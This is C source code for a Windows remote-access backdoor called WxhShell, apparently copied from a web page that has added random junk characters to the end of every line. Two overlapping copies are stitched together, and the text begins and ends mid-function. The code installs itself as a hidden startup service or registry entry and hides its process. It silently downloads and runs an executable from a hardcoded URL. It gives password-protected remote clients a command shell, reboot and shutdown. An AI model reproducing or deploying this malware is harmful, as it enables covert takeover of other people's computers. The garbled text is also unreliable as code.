    ExitThread(0); Q_qc_IcM y  
    } mp%i(Y"vp  
    break; o1-Zh!*a*  
    } <JDkvpckx.  
  // 关机 Z3T:R"l;  
  case 'd': { |Zncr9b  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eB^:+h#A_  
    if(Boot(SHUTDOWN)) r4D6g>)h1q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l^WFMeMD3a  
    else { , B h[jb`y  
    closesocket(wsh); )# M*@e$k  
    ExitThread(0); Ga"$_DyM  
    } 5}E8Tl  
    break; kMf]~EZ?  
    } )nTOIfP2  
  // 获取shell mvlK ~c8  
  case 's': { n"-cX)  
    CmdShell(wsh); J*A<F'^F1  
    closesocket(wsh); )!e-5O49r  
    ExitThread(0); Ri"3o  
    break; z9u"?vdA  
  } XM>ByfD{  
  // 退出 \<]nv}1O  
  case 'x': { hA/K>Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sGc4^Z%l?  
    CloseIt(wsh); n\ZDI+X  
    break; 9=K=gfZ  
    } (]0ZxWF  
  // 离开 [#$z.BoEo  
  case 'q': { y!)Z ^u  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tAPqbi$a  
    closesocket(wsh); 0r.*7aXu  
    WSACleanup(); DU|0#z=*t5  
    exit(1); A#f@0W:  
    break; Tr-gdX ;  
        } )1Z*kY?f!  
  } Z~9\7QJn  
  } |*e >hk  
8 U B?X  
  // 提示信息 =VH, i/@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1wi{lJaz  
} m+s^K{k}  
  } htq#( M  
1#&*xF "  
  return; AFF7fK  
} /t01z~_  
e{>X2UNW  
// shell模块句柄 Wx;:_F7'\  
int CmdShell(SOCKET sock) Yq $(Ex  
{ 5NZob<<  
STARTUPINFO si; Wm7Dy7#l  
ZeroMemory(&si,sizeof(si)); &w- QMj M>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MrXhVZ"d*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L/_OgL]YdI  
PROCESS_INFORMATION ProcessInfo; Ir_K8 3VM  
char cmdline[]="cmd"; W]4Gs;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3<AZ,gF1  
  return 0; 9pb4!=g*  
} wh<+.Zp  
R]0awV1b  
// 自身启动模式 e3yBB*@  
int StartFromService(void) fj[B,ua  
{ <9@I5 0;  
typedef struct 4Sfv  
{ e@Q<hb0<eU  
  DWORD ExitStatus; YrS%Yvhj0  
  DWORD PebBaseAddress; 0-oR { {  
  DWORD AffinityMask; AL>*Vj2h/n  
  DWORD BasePriority; !=V>DgmW  
  ULONG UniqueProcessId; [ft#zxCJ  
  ULONG InheritedFromUniqueProcessId; ,q]W i#  
}   PROCESS_BASIC_INFORMATION; S2HGf~rE  
&s>HiL>f  
PROCNTQSIP NtQueryInformationProcess; 1l"A7 V  
zC\ pd#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pE[ul  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \`Db|D?oy  
?a+tL'D[  
  HANDLE             hProcess; &~29%Ns  
  PROCESS_BASIC_INFORMATION pbi; *Sm$FMWQ  
FYFP 6ti  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \H!E CTI  
  if(NULL == hInst ) return 0; hyH"  
n\Uh5P1W"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ):   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R+ lwOVX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CLg;  
>?ZH[A  
  if (!NtQueryInformationProcess) return 0; vd c k  
3)^-A4~E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  {.GC7dx  
  if(!hProcess) return 0; /d ?)  
rDX_$,3L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z$ {I 4a  
N 3 i ,_  
  CloseHandle(hProcess); {s6;6>-kPW  
Iw(deD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [cv7s=U%  
if(hProcess==NULL) return 0; (%ra~s?  
jhr{JApbJv  
HMODULE hMod; :vz_f$=  
char procName[255]; .Wv2aJq  
unsigned long cbNeeded; T^x7w+  
m64 6|G5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J*Dj`@`4`g  
-9Wx;u4]o  
  CloseHandle(hProcess); oj /:  
S0eD 2  
if(strstr(procName,"services")) return 1; // 以服务启动 6UXa 5t  
(Hb i+IHV  
  return 0; // 注册表启动 US A!N  
} X2hV)8Sk  
x]&V7Y   
// 主模块 ?vuM'UH-  
int StartWxhshell(LPSTR lpCmdLine) WX&Man!f  
{ TMj(y{2  
  SOCKET wsl; ]X?~Cz/wl  
BOOL val=TRUE; ^} P|L  
  int port=0; 4# MvOjA5[  
  struct sockaddr_in door; 2cY7sE068  
TK<~ (Dk  
  if(wscfg.ws_autoins) Install(); dPwe.:  
3 [: x#r  
port=atoi(lpCmdLine); n*(Vf'k  
D$ zKkP YI  
if(port<=0) port=wscfg.ws_port; cobq+Iyu  
Mt(wy%{zK  
  WSADATA data; # 8 0DM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?sWPx!tU  
r+-KrO'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xWWfts1t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -K hXb  
  door.sin_family = AF_INET; h~)oiT2v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B- =*"H?q  
  door.sin_port = htons(port); xwhH_[  
2qLRcA=R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SV}q8z\  
closesocket(wsl); /~)vma1<  
return 1; rs2G{a  
} 'L4@|c~x  
9`yG[OA  
  if(listen(wsl,2) == INVALID_SOCKET) { t$^1A1Ef  
closesocket(wsl); [,e[~J`C  
return 1; m:CiXM   
} &;S.1tg  
  Wxhshell(wsl); c-.t8X,5(~  
  WSACleanup(); rK )aR  
pMnkh}Q#  
return 0; h$.y)v  
KSU?Tg&JR  
} e0Cr>I5/e  
9AK<<Mge.  
// 以NT服务方式启动 iD+Q\l;%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b3N>RPsHS  
{ :M)B#@ c=  
DWORD   status = 0; 6C@,&2<yK  
  DWORD   specificError = 0xfffffff; g N76  
Jy?s'tc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K-(k6<h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,6:ya8vB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (yIl]ZN*  
  serviceStatus.dwWin32ExitCode     = 0; $o"S zy  
  serviceStatus.dwServiceSpecificExitCode = 0; V1 T?T9m  
  serviceStatus.dwCheckPoint       = 0; (1p[K-J)r  
  serviceStatus.dwWaitHint       = 0; (oO*|\9u  
:c3}J<Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nv}'"V>  
  if (hServiceStatusHandle==0) return; ^vmT=f;TM  
F!OVx<  
status = GetLastError(); {)nm {IV,  
  if (status!=NO_ERROR) <cm,U)j2  
{ a]XQM$T$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d~@&*1}  
    serviceStatus.dwCheckPoint       = 0; o"dX3jd  
    serviceStatus.dwWaitHint       = 0;  w=5D>]  
    serviceStatus.dwWin32ExitCode     = status; ovJ#2_  
    serviceStatus.dwServiceSpecificExitCode = specificError; m"*j J.MX  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |fnP@k  
    return; '0)a|1,  
  } fQ c%a1'  
MUsF/1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ka? |_(  
  serviceStatus.dwCheckPoint       = 0; d7s? c  
  serviceStatus.dwWaitHint       = 0; WtOpxAq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k4r;t: O^  
} dYV'<  
S~fURn  
// 处理NT服务事件,比如:启动、停止 !i=LQUi.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bE:oF9J?  
{ O* `v1>  
switch(fdwControl) SRs1t6&y=  
{ I@IZ1 /J,r  
case SERVICE_CONTROL_STOP: by; %k/  
  serviceStatus.dwWin32ExitCode = 0; B@g 0QgA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G;:n*_QXE  
  serviceStatus.dwCheckPoint   = 0; F0h`>{1%  
  serviceStatus.dwWaitHint     = 0; rmXxid  
  { ;BzbWvBo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oe,I vnt  
  } `t_S uZ`V  
  return; zvv<w@rX  
case SERVICE_CONTROL_PAUSE: j f25Ky~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]G.ttfC  
  break; SXkUtY$  
case SERVICE_CONTROL_CONTINUE: 1vKc>+9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (n:d {bKV  
  break; _Kdqa%L !  
case SERVICE_CONTROL_INTERROGATE: :L gFd  
  break; 6d/;GyG  
}; Au Ib>@a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iIWz\FM  
} T(t@[U2^  
kSx^Uu*  
// 标准应用程序主函数 L1=+x^WQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T\7z87Q  
{ w@w(AFV9/  
i}teY{pyc  
// 获取操作系统版本 |hBX"  
OsIsNt=GetOsVer(); KW.*LoO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v5 STe`  
9}p>='  
  // 从命令行安装 q SR\=:$  
  if(strpbrk(lpCmdLine,"iI")) Install(); -4ityS @  
LVNq@,s  
  // 下载执行文件 j\l9|vpp  
if(wscfg.ws_downexe) { IB9[Lx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~\_aT2j0  
  WinExec(wscfg.ws_filenam,SW_HIDE); / blVm1F  
} 7PQ03dtfg  
9gP-//L@  
if(!OsIsNt) { 4CA(` _i~  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZC}'! $r7  
HideProc(); &:1PF.)N  
StartWxhshell(lpCmdLine); 4q sIJJ[.  
} 48;6C g  
else ct,B0(]  
  if(StartFromService()) X"_,#3Ko!  
  // 以服务方式启动 gc``z9@Xg  
  StartServiceCtrlDispatcher(DispatchTable); `o~ dQb/k+  
else iSD E6  
  // 普通方式启动 |  RMIV  
  StartWxhshell(lpCmdLine); Py2AnpYa  
%:i; eUKR  
return 0;  2fZVBj  
} M- inlZNR  
&+V6mH9m@  
Z*&y8;vUQ  
n8W+q~sW%  
=========================================== N-XOPwx'  
~)>O=nR  
#oBMA  
GIXxOea1  
1k-YeQNe  
VB 53n'  
" <T]BSQk  
ZlaU+Y(_[  
#include <stdio.h> 7ux0|l  
#include <string.h> {OFbU  
#include <windows.h> /^_~NF#  
#include <winsock2.h> &5JTcMC^  
#include <winsvc.h> [O)(0  
#include <urlmon.h> g\9I&z~?  
.|>zQ(7YC  
#pragma comment (lib, "Ws2_32.lib") q\+khy,k  
#pragma comment (lib, "urlmon.lib") OZ{YQ}t{^1  
S$9>9!1>*  
#define MAX_USER   100 // 最大客户端连接数 -+vA9,pI  
#define BUF_SOCK   200 // sock buffer W(jXOgs+_  
#define KEY_BUFF   255 // 输入 buffer G@s]HJ:  
j7LuN  
#define REBOOT     0   // 重启 LxD >eA  
#define SHUTDOWN   1   // 关机 wHneVqI/U  
`qP <S  
#define DEF_PORT   5000 // 监听端口 FR%9Qb7  
zadn`B#2  
#define REG_LEN     16   // 注册表键长度 Md!L@gX6<  
#define SVC_LEN     80   // NT服务名长度 b| e7mis@  
<ezv  
// 从dll定义API $|J16tW  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tJ:]ne   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ey'x3s_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <cC0l-=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Djv0]Sm^!  
lw/zgR#|  
// wxhshell配置信息 ,-!h  
struct WSCFG { yb 7  
  int ws_port;         // 监听端口 fL3Px  
  char ws_passstr[REG_LEN]; // 口令 &8kc0Z@y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 61qs`N=k  
  char ws_regname[REG_LEN]; // 注册表键名 i%~^3/K  
  char ws_svcname[REG_LEN]; // 服务名 )=,%iL -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z4qw*. 5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n*%o!=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 rHS;wT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =E{e|(1+u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >lyX";X#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 05$;7xnf(  
^]nnvvp  
}; sZ~q|}D-  
LW+a-i  
// default Wxhshell configuration RM^3Snd=V  
struct WSCFG wscfg={DEF_PORT, $U3|.4  
    "xuhuanlingzhe", E0F8FR'  
    1, P''5A6#5  
    "Wxhshell", :.;p Rz  
    "Wxhshell", 4J#F;#iA  
            "WxhShell Service", +y%"[6c|  
    "Wrsky Windows CmdShell Service", lrn3yDkR?  
    "Please Input Your Password: ", CcF$?07 i  
  1, uJBs3X  
  "http://www.wrsky.com/wxhshell.exe", ;rBd_  
  "Wxhshell.exe" q> ;u'3}  
    }; PvmmyF  
}b$?t7Q)  
// 消息定义模块 G8]DK3#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j$2rU'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cJ CKxj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +ZuT\P&kR5  
char *msg_ws_ext="\n\rExit."; I+qg'mo  
char *msg_ws_end="\n\rQuit."; :0G_n\  
char *msg_ws_boot="\n\rReboot..."; c~_nO d  
char *msg_ws_poff="\n\rShutdown..."; KyQO>g{R  
char *msg_ws_down="\n\rSave to "; Vjv~RNGF  
,'FH[2  
char *msg_ws_err="\n\rErr!"; G9`;Z^<L  
char *msg_ws_ok="\n\rOK!"; i5f8}`w  
$P=B66t ^  
char ExeFile[MAX_PATH]; + F{hFuHV  
int nUser = 0; J%8M+!`F  
HANDLE handles[MAX_USER]; 4CUoXs'  
int OsIsNt; 2(SU# /,  
MCPVql`+`q  
SERVICE_STATUS       serviceStatus; }]dK26pX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &E{CQ#k  
U8f!yXF'  
// 函数声明 +XaRwcLC.  
int Install(void); ySfot`LQ  
int Uninstall(void); [r[IWy(}  
int DownloadFile(char *sURL, SOCKET wsh); .f1  
int Boot(int flag); }OQaQf9V{  
void HideProc(void); sj;n1t}$S  
int GetOsVer(void); Qs38VlR_m  
int Wxhshell(SOCKET wsl); tl:V8sYTP  
void TalkWithClient(void *cs); }01c7/DRP<  
int CmdShell(SOCKET sock); _*tU.x|DP  
int StartFromService(void); K-_XdJ\  
int StartWxhshell(LPSTR lpCmdLine); 6Kl%|VrJs  
\a_75^2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e(e_p#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `"7}'|  
7P+qPcRaP  
// 数据结构和表定义 JEw+5 MO@  
SERVICE_TABLE_ENTRY DispatchTable[] = h/)kd3$*'  
{ *3uBS2Ld  
{wscfg.ws_svcname, NTServiceMain}, C:*=tD1  
{NULL, NULL} %anY'GK   
}; fU6O:-  
jTR>H bh  
// 自我安装 3MmpB9l#H  
int Install(void) (D\7EH\9,]  
{ :,@"I$>*/  
  char svExeFile[MAX_PATH]; _Q9Mn-&qQ  
  HKEY key; A` 'k5uG  
  strcpy(svExeFile,ExeFile); $#ve^.VHv  
-Kas9\VWEw  
// 如果是win9x系统,修改注册表设为自启动 _1c0pQ^}3  
if(!OsIsNt) { ?S*Cvr+=4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #[ H4`hZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1g{-DIOmn  
  RegCloseKey(key); Nldy76|g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u<g0oEs)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r<%ua6@  
  RegCloseKey(key); H^VNw1.   
  return 0; lQ8h-Tz  
    } h_( #U)z_3  
  } /?ZO-]q  
} BR*'SF\T  
else { K@f@vyw]  
ifXGH>C  
// 如果是NT以上系统,安装为系统服务 EZ"n3#/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bf21u 9  
if (schSCManager!=0) 8Q{"W"]O7  
{ NsPAWI|4  
  SC_HANDLE schService = CreateService ;u(#-C2^{l  
  ( *]7$/%.D  
  schSCManager, -ho%9LW%|  
  wscfg.ws_svcname, 8[k:FGp>  
  wscfg.ws_svcdisp, 5 O't-'  
  SERVICE_ALL_ACCESS, <UEta>jj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Daw;6f:  
  SERVICE_AUTO_START, 8gHOs#\  
  SERVICE_ERROR_NORMAL, 483/ZgzT`  
  svExeFile, Nv~H797B  
  NULL, iL$~d@AEn  
  NULL, FI(iqSJ6  
  NULL, d3[O!4<T  
  NULL, >=6 j:  
  NULL <Jf[N=  
  ); |3bCq(ZR\P  
  if (schService!=0) s3/iG37K  
  { *=2sXH1j  
  CloseServiceHandle(schService); Uh w:XV@m  
  CloseServiceHandle(schSCManager); f`gs/R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qk{+Y  
  strcat(svExeFile,wscfg.ws_svcname); /q^\g4J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m8T< x>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n9%&HDl4  
  RegCloseKey(key); 9n#lDL O  
  return 0; *QGyF`Go{  
    } HM]mOmL90N  
  } V JJ6q  
  CloseServiceHandle(schSCManager); {f(RYj  
} R<)^--n  
} NQmdEsK  
sGp]jqX2,m  
return 1; m-HL7&iG$  
} SWLt5dV  
iW9o-W a  
// 自我卸载 fvi8+3A&  
int Uninstall(void) 4lF(..Ix  
{ -cONC9 =  
  HKEY key; BN~gk~t_  
S8dX8,qg  
if(!OsIsNt) { d7]~t|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yo*.? Mq'  
  RegDeleteValue(key,wscfg.ws_regname); E]0}&YG  
  RegCloseKey(key); QFNw2:)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [["az'Lrk?  
  RegDeleteValue(key,wscfg.ws_regname); IA;'5IF  
  RegCloseKey(key); c gOkm}h  
  return 0; \Q!I;  
  } ED;rp 9(  
} YApm)O={  
} 69? wZfj'  
else { y2o~~te  
A-&XgOL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^2a63_  
if (schSCManager!=0) @OGHS}-\  
{ N \t( rp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t) l  
  if (schService!=0) 3JFX~"rV9I  
  { XCd[<\l  
  if(DeleteService(schService)!=0) { TY`t3  
  CloseServiceHandle(schService); ):-Ub4A\  
  CloseServiceHandle(schSCManager); *A ([1l&]i  
  return 0; wj2z?0}o  
  } ;i,3KJ[L  
  CloseServiceHandle(schService); /Y`u4G()  
  } '/'dg5bfV  
  CloseServiceHandle(schSCManager); m>9j dsqB  
} 9SQc ChG~j  
} 2r"J"C  
P^57a?[`  
return 1; +pY-- 5t  
} tyU'[LF?  
?p'DgL{  
// 从指定url下载文件 c0v6*O)  
int DownloadFile(char *sURL, SOCKET wsh) mXOY,g2w  
{ U}R (  
  HRESULT hr; V0G"Z6  
char seps[]= "/"; +GvPJI  
char *token; x(+H1D\W   
char *file; bV&"jjEx  
char myURL[MAX_PATH]; 6qd?&.=r  
char myFILE[MAX_PATH]; 'w8p[h (,  
VCX^D)[-  
strcpy(myURL,sURL); Y[rRz6.*(  
  token=strtok(myURL,seps); f;=<$Y>i  
  while(token!=NULL) ,92wW&2  
  { A&S n^mw  
    file=token; yi;pn Z  
  token=strtok(NULL,seps); *6aIDFNl  
  } (b8ZADI*  
:pdl2#5H^  
GetCurrentDirectory(MAX_PATH,myFILE); 85_Qb2<'r  
strcat(myFILE, "\\"); (3?W) i  
strcat(myFILE, file); BMO&(g  
  send(wsh,myFILE,strlen(myFILE),0); >zo_}A!  
send(wsh,"...",3,0); rlQ=rNrG&E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )Ah7  
  if(hr==S_OK) LUzn7FZk  
return 0; 2GxkOch  
else Z 5 Xis"j  
return 1; 0=k  
1 \Z/}FT  
} E1D0 un  
(9Of,2]&E  
// 系统电源模块 X$*]$Ge>  
int Boot(int flag) K/0Wp %  
{ * /^}  
  HANDLE hToken; $'n?V=4  
  TOKEN_PRIVILEGES tkp; ]P >c{  
4+J>/ xiZ  
  if(OsIsNt) { qH(HcsgD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dC>(UDC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,Bs/.htQj  
    tkp.PrivilegeCount = 1; )I"I[jDw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tu's]3RE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); abw5Gz@Ag  
if(flag==REBOOT) { T|-llhJ8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )fl+3!tq  
  return 0; @^.o8+Pp  
} DN;|?oNZ  
else { ]Q#k"Je  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E?FUr?-[  
  return 0; 8RT<?I^5  
} @=6oB3tQA  
  } bT^(D^  
  else { ^B!()39R?  
if(flag==REBOOT) { _+OCI%=:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Zi}j f25  
  return 0; 7/K L<T9@  
} X0knM}5  
else { LKBh{X0%(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mNOx e  
  return 0; k8b5~A,  
} 0ev='v8?  
} av bup  
u6Yp ,!+  
return 1; TN/y4(j  
} aVZ/e^kk-  
S 3s6  
// win9x进程隐藏模块 ji C2B  
void HideProc(void) TZhYgV  
{ 48Jt1^  
e>x+Xj1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J7HY(7Nx  
  if ( hKernel != NULL ) pV O{7I  
  { t +|t/1s2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &F8*>F^7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v]#[bqB.b  
    FreeLibrary(hKernel); i>KgkRZL#  
  } n~ZZX={a  
<}G/x*N  
return; rv c%[HfW;  
} Za]~[F  
vX_;Y#uD  
// 获取操作系统版本 ?R_fg  
int GetOsVer(void) A b+qLh&?  
{ S`Z[MNY  
  OSVERSIONINFO winfo; NA$%Up  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ipE|)Ns  
  GetVersionEx(&winfo); [?bq4u`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PZVH=dagq  
  return 1; p6&<eMwFA  
  else @1D3E=  
  return 0; @Z5,j)  
} {Wndp%  
j`#H%2W\;  
// 客户端句柄模块 %Fx ^"  
int Wxhshell(SOCKET wsl) yqH9*&KH{  
{ Y;@]G=a   
  SOCKET wsh; "wCx]{Di  
  struct sockaddr_in client; *'*n}fM  
  DWORD myID; ~14|y|\/  
 % s@  
  while(nUser<MAX_USER) B|.A6:1g+  
{ vdigw.=z  
  int nSize=sizeof(client); qHvU4v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i-?mghe8  
  if(wsh==INVALID_SOCKET) return 1; Et y?/  
Ezev ^O]   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?*.:*A  
if(handles[nUser]==0) _St ":9'uU  
  closesocket(wsh); ke k/C`7  
else S$gLL kD1  
  nUser++; =!)x`1j!S  
  } P/xE n_*v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BF 0#G2`h>  
(b.4&P"0  
  return 0; UC j:]!P  
} _GM?`  
ui-]%~  
// 关闭 socket ^CgN>-xZ?#  
void CloseIt(SOCKET wsh) ttls.~DG  
{ wp83E,  
closesocket(wsh); Bw~jqDZ}|  
nUser--; 6uTC2ka[&R  
ExitThread(0); %`~+^{Wp  
} rGrR;  
G9Noch9 g  
// 客户端请求句柄 4Dy1M}7  
void TalkWithClient(void *cs) j7$xHnV4  
{ /ZM xVh0  
_.E{>IFw  
  SOCKET wsh=(SOCKET)cs; AxeQv'e  
  char pwd[SVC_LEN]; 6"NtVfui  
  char cmd[KEY_BUFF]; ) ~gIJW  
char chr[1]; eeBW~_W  
int i,j; KyQTrl.qdl  
5$Kd<ky  
  while (nUser < MAX_USER) { ex^9 l b  
~0[(-4MA  
if(wscfg.ws_passstr) { (BngwLVDK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )CHXfO w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jT/P+2hMW  
  //ZeroMemory(pwd,KEY_BUFF); 6=qC/1,l  
      i=0; X{(?p=]  
  while(i<SVC_LEN) { YWJ$Pp  
q<Qjc  
  // 设置超时 irvd>^&jDC  
  fd_set FdRead; \ueCbfV!Z4  
  struct timeval TimeOut; w`D$W&3>  
  FD_ZERO(&FdRead); r)Vpt fg;  
  FD_SET(wsh,&FdRead); |KZX_4   
  TimeOut.tv_sec=8; o5sw]R5  
  TimeOut.tv_usec=0; uF1&m5^W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^vTx%F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ya> AI.!K  
[qxU \OSC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vf.*!`UH  
  pwd=chr[0]; \B:k|Pw6~  
  if(chr[0]==0xd || chr[0]==0xa) { OjNOvh&N  
  pwd=0; ~d3@x\I?  
  break; eo@8?>}{X  
  } m`):= ^nC  
  i++; .5AFAGv_c  
    } d`C$vj  
NFP h}D  
  // 如果是非法用户,关闭 socket o4OB xHKy  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *]}F=dtR k  
} `'*4B_.  
rA^=;?7Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?6>*mdpl  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4q:8<*W=  
J}+N\V~  
while(1) { ;(jL`L F  
}K`KoM  
  ZeroMemory(cmd,KEY_BUFF); j8 `7)^  
UbGnU_}  
      // 自动支持客户端 telnet标准   }_F:]lI*R  
  j=0; hW9!  
  while(j<KEY_BUFF) { d[5v A/8O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |@d}O8  
  cmd[j]=chr[0]; =HJ7tele  
  if(chr[0]==0xa || chr[0]==0xd) { x%9Ca)r?}  
  cmd[j]=0; OCJt5#e~A  
  break; ~ ^D2]j  
  } p~Cz6n  
  j++; 4P=1)t?tX  
    } ,G-  
Qa\,)<'D:  
  // 下载文件 mP/#hwzB&q  
  if(strstr(cmd,"http://")) { $CJf 0[|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cui%r!D  
  if(DownloadFile(cmd,wsh)) 7ku=roPoF  
